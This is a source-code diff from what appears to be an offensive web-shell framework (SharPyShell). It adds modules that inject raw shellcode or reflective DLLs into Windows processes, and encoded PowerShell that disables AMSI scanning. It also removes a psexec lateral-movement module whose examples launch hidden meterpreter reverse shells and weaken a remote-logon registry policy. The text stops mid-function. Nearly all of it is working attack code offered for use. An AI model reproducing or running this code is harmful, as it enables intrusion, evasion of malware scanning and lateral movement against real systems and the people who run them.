The dll must be compiled with the 'ReflectiveLoader' exported function otherwise it cannot be executed
at runtime.
You can use one of the following supported injection techniques:
- remote_virtual: classic injection:
VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
- remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
Note that when you try to inject into an existing process you should ensure you have the rights to open
a handle to that process otherwise the injection cannot be performed.
Usage:
#inject_dll_reflective dll_path [injection_type] [remote_process]
Positional arguments:
dll_path name of a .dll module in the 'reflective_dll/' directory
the DLL must contain a ReflectiveLoader exported function
injection_type the process injection method to use for injecting shellcode
Allowed values: 'remote_virtual', 'remote_virtual_protect'
Default: 'remote_virtual'
remote_process path to an executable to spawn as a host process for the shellcode
if you pass a pid it will try to inject into an existing running process
Default: 'cmd.exe'
Examples:
Inject a messagebox reflective DLL into an existing process:
#inject_dll_reflective messagebox_reflective.dll remote_virtual 2264
"""
def __get_reflective_loader_offset(self, dll_path):
pe_parser = pefile.PE(dll_path)
for exported_function in pe_parser.DIRECTORY_ENTRY_EXPORT.symbols:
if 'ReflectiveLoader' in str(exported_function.name):
reflective_loader_rva = exported_function.address
return hex(pe_parser.get_offset_from_rva(reflective_loader_rva))
raise self._exception_class('The DLL does not contain a reflective loader function.\n')
def _create_request(self, args):
dll_path, injection_type, remote_process,\
thread_timeout, thread_parameters, code_offset = self._parse_run_args(args)
dll_path = config.modules_paths + 'reflective_dll/' + dll_path
code_offset = str(self.__get_reflective_loader_offset(dll_path))
with open(dll_path, 'rb') as file_handle:
byte_arr = file_handle.read()
base64_compressed_dll = gzip_utils.get_compressed_base64_from_binary(byte_arr)
if injection_type == 'remote_virtual_protect':
runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_dll,
thread_parameters, remote_process,
thread_timeout, code_offset)
else:
runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_dll,
thread_parameters, remote_process,
thread_timeout, code_offset)
return runtime_code
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+300
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@@ -0,0 +1,300 @@
from core.Module import Module, ModuleException
from utils import gzip_utils
class InjectShellcodeModuleException(ModuleException):
pass
class Inject_shellcode(Module):
_exception_class = InjectShellcodeModuleException
short_help = "Inject shellcode in a new (or existing) process"
complete_help = r"""
This module allow to inject your shellcode in a host process.
You can choose to create a new process or use a pid of an existing process as a host process.
If you create the payload for the shellcode from msfvenom ensure you use the flag --format raw.
You can use one of the following supported injection techniques:
- remote_virtual: classic injection:
VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
- remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
Note that when you try to inject into an existing process you should ensure you have the rights to open
a handle to that process otherwise the injection cannot be performed.
Usage:
#inject_shellcode shellcode_path [injection_type] [remote_process]
Positional arguments:
shellcode_path path to a file containing shellcode in raw format (msfvenom --format raw)
injection_type the process injection method to use for injecting shellcode
Allowed values: 'remote_virtual', 'remote_virtual_protect'
Default: 'remote_virtual'
remote_process path to an executable to spawn as a host process for the DLL code
if you pass a pid it will try to inject into an existing running process
Default: 'cmd.exe'
Examples:
Inject generated shellcode:
#inject_shellcode /path/to/shellcode
Inject shellcode with specific injection type:
#inject_shellcode /path/to/shellcode 'remote_virtual_protect'
Inject shellcode into an existing process
#inject_shellcode /path/to/shellcode 'remote_virtual' '1550'
"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
using System.Runtime.InteropServices; using System.IO.Compression;
public class SharPyShell
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("ntdll.dll", SetLastError = true)]
static extern UInt32 NtCreateThreadEx(ref IntPtr hThread,UInt32 DesiredAccess,IntPtr ObjectAttributes,IntPtr ProcessHandle,IntPtr StartAddress,IntPtr lParam,bool CreateSuspended,UInt32 StackZeroBits,UInt32 SizeOfStackCommit,UInt32 SizeOfStackReserve,IntPtr BytesBuffer);
const uint PAGE_ALIGN = 1024;
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_READWRITE = 0x04;
const uint PAGE_EXECUTE_READ = 0x20;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint WAIT_OBJECT_0 = 0x00000000;
public string InjectShellcode(byte[] byteArrayCode, byte[] threadParameters, string process, uint threadTimeout, ulong offset)
{
string output = "";
string error_string = "\n\n\t{{{SharPyShellError}}}";
int processId=0;
Process targetProcess = new Process();
IntPtr targetProcessHandle = IntPtr.Zero;
IntPtr injectedThreadHandle = IntPtr.Zero;
bool usingExistingProcess = false;
try
{
if(!Int32.TryParse(process, out processId)){
targetProcess = Process.Start(process);
processId = targetProcess.Id;
output += "\n\n\tStarted process " + process + " with pid " + processId.ToString();
}
else{
targetProcess = Process.GetProcessById(processId);
usingExistingProcess = true;
output += "\n\n\tTrying to open running process with pid " + processId.ToString();
}
string processName = targetProcess.ProcessName;
string targetProcessPid = processId.ToString();
targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId);
if(targetProcessHandle == (IntPtr)0){
output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid;
uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1);
if(codeMemorySize %% PAGE_ALIGN != 0)
codeMemorySize += PAGE_ALIGN - ((uint)(byteArrayCode.Length+1) %% PAGE_ALIGN);
%s
codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset);
if(threadParameters.Length > 0){
output += "\n\n\tThread parameters detected. Starting to allocate memory RW ...";
uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1);
IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(threadParametersMemAddress == (IntPtr)0){
output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
uint bytesWrittenThreadParams;
output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes";
if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString();
if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){
output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx...";
NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, threadParametersMemAddress, false, 0, 0, 0, IntPtr.Zero);
}
else{
output += "\n\n\tUsing CreateRemoteThread...";
injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero);
}
}
else{
if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){
output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx...";
NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
}
else{
output += "\n\n\tUsing CreateRemoteThread...";
injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
}
}
if(injectedThreadHandle == (IntPtr)0){
output += error_string + "\n\tError creating remote thread into target process.\n\tRemote Thread creation failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tRemote Thread started!";
if(threadTimeout>0){
uint wait_for = WaitForSingleObject(injectedThreadHandle, threadTimeout);
if(wait_for == WAIT_OBJECT_0){
output += "\n\n\tCode executed and exited correctly";
try{
Process.GetProcessById(processId);
targetProcess.Kill();
output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has been killed";
}
catch{
output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has exited";
}
}
else{
output += "\n\n\tRemote Thread Timed Out";
}
}
else{
output += "\n\n\tCode executed left in background as an async thread in the process '" + processName + ".exe' with pid " + targetProcessPid;
}
}
catch (Exception ex)
{
output += error_string + "\n\tException occurred. " + ex.Message;
return output;
}
finally{
if((int)injectedThreadHandle > 0)
CloseHandle(injectedThreadHandle);
if((int)targetProcessHandle > 0)
CloseHandle(targetProcessHandle);
}
return output + "\n\n";
}
private byte[] Decompress(byte[] data)
{
using (MemoryStream compressedStream = new MemoryStream(data))
using (GZipStream zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))
using (MemoryStream resultStream = new MemoryStream())
{
byte[] buffer = new byte[16*1024];
int read;
while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0)
{
resultStream.Write(buffer, 0, read);
}
return resultStream.ToArray();
}
}
public byte[] ExecRuntime()
{
string shellcodeBase64 = "%s";
byte[] shellcodeCompressed = Convert.FromBase64String(shellcodeBase64);
byte[] shellcodeByteArr = Decompress(shellcodeCompressed);
byte[] threadParameters = %s;
string output_func=InjectShellcode(shellcodeByteArr, threadParameters, @"%s", %s, %s);
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
return(output_func_byte);
}
}
"""
_runtime_code_virtual = r"""
IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(codeMemAddress == (IntPtr)0){
output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
uint bytesWrittenCode;
output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes";
if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
"""
_runtime_code_virtual_protect = r"""
uint codeMemSize = codeMemorySize;
IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(codeMemAddress == (IntPtr)0){
output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
uint bytesWrittenCode;
output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes";
if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
uint lpflOldProtect;
if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){
output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tChanged allocated memory for code from RW to RX";
"""
_default_injection_type = 'remote_virtual'
_default_remote_process = 'cmd.exe'
_default_thread_timeout = '0'
_default_thread_parameters = '{}'
_default_code_offset = '0'
def _parse_run_args(self, args):
if len(args) < 1:
raise self._exception_class('#inject_shellcode: Not enough arguments. 1 Argument required.\n')
args_parser = {k: v for k, v in enumerate(args)}
shellcode_path = args_parser.get(0)
injection_type = args_parser.get(1, self._default_injection_type)
remote_process = args_parser.get(2, self._default_remote_process)
thread_timeout = args_parser.get(3, self._default_thread_timeout)
thread_parameters = args_parser.get(4, self._default_thread_parameters)
code_offset = args_parser.get(5, self._default_code_offset)
return shellcode_path, injection_type, remote_process, thread_timeout, thread_parameters, code_offset
def _create_request(self, args):
shellcode_path, injection_type, remote_process,\
thread_timeout, thread_parameters, code_offset = self._parse_run_args(args)
base64_compressed_shellcode = gzip_utils.get_compressed_base64_from_file(shellcode_path)
if injection_type == 'remote_virtual_protect':
runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_shellcode,
thread_parameters, remote_process,
thread_timeout, code_offset)
else:
runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_shellcode,
thread_parameters, remote_process,
thread_timeout, code_offset)
return runtime_code
+11 -5
View File
@@ -37,7 +37,9 @@ class Invoke_ps_module(Module):
#invoke_ps_module PowerUp.ps1 ';Invoke-AllChecks'
"""
_ps_code = ur"""
_ps_code = r"""
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZj1bUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCdTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLkFtcycrJ2lVdGlscycpOw=="))|IEX;
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZi5HZXRGaWVsZCgnYW1zaUluJysnaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJykuU2V0VmFsdWUoJG51bGwsJHRydWUpOw=="))|IEX;
$path_in_module="%s";
$path_in_app_code="%s";
$key=[System.Text.Encoding]::UTF8.GetBytes('%s');
@@ -57,7 +59,9 @@ class Invoke_ps_module(Module):
Remove-Item -Path $path_in_app_code -Force 2>&1 | Out-Null;
"""
_ps_code_no_appended_code = ur"""
_ps_code_no_appended_code = r"""
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZj1bUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCdTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLkFtcycrJ2lVdGlscycpOw==")) | IEX;
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZi5HZXRGaWVsZCgnYW1zaUluJysnaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJykuU2V0VmFsdWUoJG51bGwsJHRydWUpOw==")) | IEX;
$path_in="%s";
$key=[System.Text.Encoding]::UTF8.GetBytes('%s');
$encrypted=[System.IO.File]::ReadAllBytes($path_in);
@@ -105,8 +109,10 @@ class Invoke_ps_module(Module):
def _gen_appended_code(self, appended_code):
if appended_code == '':
return ''
if '""' in appended_code:
appended_code = appended_code.replace('""', '"')
enc_appended_code_path = config.modules_paths + 'ps_modules/' + random_generator()
byte_arr_app_module_encrypted = bytearray(appended_code)
byte_arr_app_module_encrypted = bytearray(appended_code, 'utf-8')
self.__xor_bytearray(byte_arr_app_module_encrypted)
with open(enc_appended_code_path, 'wb') as file_handle:
file_handle.write(byte_arr_app_module_encrypted)
@@ -125,12 +131,12 @@ class Invoke_ps_module(Module):
encrypted_module_path = self._module_settings[ps_module]
else:
local_encrypted_module_path = self._gen_encrypted_module(ps_module)
print '\n\n\nUploading encrypted ps module....\n'
print ('\n\n\nUploading encrypted ps module....\n')
try:
encrypted_module_path = self._module_settings['env_directory'] + '\\' + random_generator()
upload_response = self._parse_response(self.upload_module_object.run([local_encrypted_module_path,
encrypted_module_path]))
print upload_response
print (upload_response)
self._module_settings[ps_module] = encrypted_module_path
except Exception as exc:
raise self._exception_class(str(exc))
-365
View File
@@ -1,365 +0,0 @@
from core import config
from core.Module import Module, ModuleException
from modules.upload import Upload
from utils.random_string import random_generator
import traceback
class LateralPsexecModuleException(ModuleException):
pass
class Lateral_psexec(Module):
_exception_class = LateralPsexecModuleException
short_help = "Run psexec binary to move laterally"
complete_help = r"""
This module upload and run the psexec binary in order to launch commands on a remote windows system.
This will result in a lateral movement if shared credentials are known.
Note that if you use local users credentials you should ensure that, on the target server, the feature
"LocalAccountTokenFilterPolicy" is disabled.
To disable that you need to add the following regkey with the value of 1:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy
example command:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
If you use domain users for the lateral movement, no restrictions to the process token will be applied.
This module should be run from a privileged user.
If the application pool within the web application you are interacting with is run with application pool
identity account or any limited account you won't be able to move laterally to other systems
due to restrictions applied to the user.
In those cases, you need to use different credentials of a more privileged user in order to launch this module.
Usage:
#lateral_psexec target_ip username password command [local_user] [local_password] [local_domain]
Positional arguments:
target_ip the ip of the remote server
username username of the user to use to login on the target server
you can specify domain\username if user is in a domain
password password of the user to use to login on the target server
command a command compatible by cmd.exe
[runas_system] if set to 'true', it will try to run psexec as system on the target remote server
Default: 'false'
[local_user] the username of a local user with privileged rights
[local_password] the password of a local user with privileged rights
[local_domain] the domain of a local user with privileged rights
Examples:
Lateral movement as privileged current application pool user, output to local shared resource:
#lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192.168.56.101\everyone\output.txt'
Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd):
#lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'local_privileged_user1' 'local_privileged_password1'
Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd):
#lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
Lateral movement as privileged domain user and as SYSTEM on remote machine using meterpreter http reverse shell (format psh-cmd):
#lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'true' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
"""
_runtime_code = ur"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
string LateralPsexec(string psexec_path, string arg, string working_path)
{
ProcessStartInfo pinfo = new ProcessStartInfo();
pinfo.FileName = psexec_path;
pinfo.Arguments = arg;
pinfo.RedirectStandardOutput = true;
pinfo.RedirectStandardError = true;
pinfo.UseShellExecute = false;
pinfo.WorkingDirectory = working_path;
Process p = new Process();
try{
p = Process.Start(pinfo);
}
catch (Exception e){
return "{{{SharPyShellError}}}\n" + e;
}
StreamReader stmrdr_output = p.StandardOutput;
StreamReader stmrdr_errors = p.StandardError;
string output = "";
string stand_out = stmrdr_output.ReadToEnd();
string stand_errors = stmrdr_errors.ReadToEnd();
stmrdr_output.Close();
stmrdr_errors.Close();
if (!String.IsNullOrEmpty(stand_out))
output = output + stand_out;
if (!String.IsNullOrEmpty(stand_errors))
output = output + "\n\n" + stand_errors + "\n";
return output;
}
public byte[] ExecRuntime()
{
string output_func=LateralPsexec(@"%s", @"%s", @"%s");
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
return(output_func_byte);
}
}
"""
_runtime_code_runas = ur"""
using System;using System.IO;using System.Diagnostics;using System.Text;
using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
public class SharPyShell
{
public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
{
private SafeTokenHandle()
: base(true)
{
}
[DllImport("kernel32.dll")]
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
[SuppressUnmanagedCodeSecurity]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr handle);
protected override bool ReleaseHandle()
{
return CloseHandle(handle);
}
}
[StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
{
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern bool CloseHandle(IntPtr handle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
const uint WAIT_ABANDONED = 0x00000080;
const uint WAIT_OBJECT_0 = 0x00000000;
const uint WAIT_TIMEOUT = 0x00000102;
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
public string LateralPsexecRunas(string psexec_path, string userName, string password, string domainName, string psexec_arguments, string stdout_file, string stderr_file, string working_directory)
{
SafeTokenHandle safeTokenHandle;
int logon_type = 4;
uint process_ms_timeout = 60000;
string output = "";
string error_string = "{{{SharPyShellError}}}";
try
{
const int LOGON32_PROVIDER_DEFAULT = 0;
const int LOGON32_PROVIDER_WINNT35 = 1;
const int LOGON32_PROVIDER_WINNT40 = 2;
const int LOGON32_PROVIDER_WINNT50 = 3;
bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
if (false == returnValue)
{
output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error();
return output;
}
using (safeTokenHandle)
{
using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
{
using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
{
IntPtr Token = new IntPtr(0);
IntPtr DupedToken = new IntPtr(0);
bool ret;
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.bInheritHandle = false;
sa.Length = Marshal.SizeOf(sa);
sa.lpSecurityDescriptor = (IntPtr)0;
Token = WindowsIdentity.GetCurrent().Token;
const uint GENERIC_ALL = 0x10000000;
const int SecurityImpersonation = 2;
const int TokenType = 1;
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
if (ret == false){
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
return output;
}
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = "";
string commandLinePath = "";
File.Create(stdout_file).Dispose();
File.Create(stderr_file).Dispose();
string cmd_path = commandLinePath = Environment.GetEnvironmentVariable("ComSpec");
commandLinePath = cmd_path + " /c " + psexec_path + " " + psexec_arguments + " >> " + stdout_file + " 2>>" + stderr_file;
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
if (ret == false){
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
return output;
}
else{
uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
if(wait_for == WAIT_OBJECT_0){
string errors = File.ReadAllText(stderr_file);
if (!String.IsNullOrEmpty(errors))
output += "\n" + errors;
output += "\n" + File.ReadAllText(stdout_file);
}
else{
output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
}
File.Delete(stdout_file);
File.Delete(stderr_file);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
CloseHandle(DupedToken);
}
}
}
}
catch (Exception ex)
{
output += error_string + "\nException occurred. " + ex.Message;
return output;
}
return output;
}
public byte[] ExecRuntime()
{
string output_func=LateralPsexecRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s");
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
return(output_func_byte);
}
}
"""
__default_runas_system = 'false'
__default_local_user = ''
__default_local_password = ''
__default_local_domain = ''
__psexec_code_arguments = ur'-accepteula \\%s -u ""%s"" -p ""%s"" %s cmd /c ""%s""'
def __init__(self, password, channel_enc_mode, module_settings, request_object):
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
def __lookup_psexec_binary(self):
if 'psexec.exe' in self._module_settings.keys():
bin_path = self._module_settings['psexec.exe']
else:
exe_path = config.modules_paths + 'exe_modules/psexec.exe'
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
print '\n\n\nUploading psexec binary....\n'
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
print upload_response
self._module_settings['psexec.exe'] = remote_upload_path
bin_path = remote_upload_path
return bin_path
def __run_as_current_user(self, psexec_path, psexec_code_arguments):
request = self._create_request([psexec_code_arguments, psexec_path, 'current_user'])
encrypted_request = self._encrypt_request(request)
encrypted_response = self._post_request(encrypted_request)
decrypted_response = self._decrypt_response(encrypted_response)
return decrypted_response
def __run_as(self, psexec_path, psexec_code_arguments, local_user, local_password, local_domain):
request = self._create_request([[psexec_code_arguments, local_user, local_password, local_domain],
psexec_path, 'runas'])
encrypted_request = self._encrypt_request(request)
encrypted_response = self._post_request(encrypted_request)
decrypted_response = self._decrypt_response(encrypted_response)
return decrypted_response
def __parse_run_args(self, args):
if len(args) < 4:
raise self._exception_class('#lateral_psexec: Not enough arguments. 4 Arguments required.\n')
args_parser = {k: v for k, v in enumerate(args)}
target_ip = args_parser.get(0)
username = args_parser.get(1)
password = args_parser.get(2)
command = args_parser.get(3)
runas_system = args_parser.get(4, self.__default_runas_system)
local_user = args_parser.get(5, self.__default_local_user)
local_password = args_parser.get(6, self.__default_local_password)
local_domain = args_parser.get(7, self.__default_local_domain)
return target_ip, username, password, command, runas_system, local_user, local_password, local_domain
def _create_request(self, args):
arguments, psexec_path, request_type = args
working_path = self._module_settings['working_directory']
if request_type == 'runas':
psexec_code_arguments, local_user, local_password, local_domain = arguments
stdout_file = self._module_settings['env_directory'] + '\\' + random_generator()
stderr_file = self._module_settings['env_directory'] + '\\' + random_generator()
request = self._runtime_code_runas % (psexec_path, local_user, local_password, local_domain,
psexec_code_arguments, stdout_file, stderr_file, working_path)
else:
psexec_code_arguments = arguments
request = self._runtime_code % (psexec_path, psexec_code_arguments, working_path)
return request
def run(self, args):
try:
target_ip, username, password, command, runas_system,\
local_user, local_password, local_domain = self.__parse_run_args(args)
psexec_priv_flag = '-s' if runas_system == 'true' else '-h'
psexec_code_arguments = self.__psexec_code_arguments % (target_ip, username,
password, psexec_priv_flag, command)
psexec_path = self.__lookup_psexec_binary()
if local_user == '':
response = self.__run_as_current_user(psexec_path, psexec_code_arguments)
else:
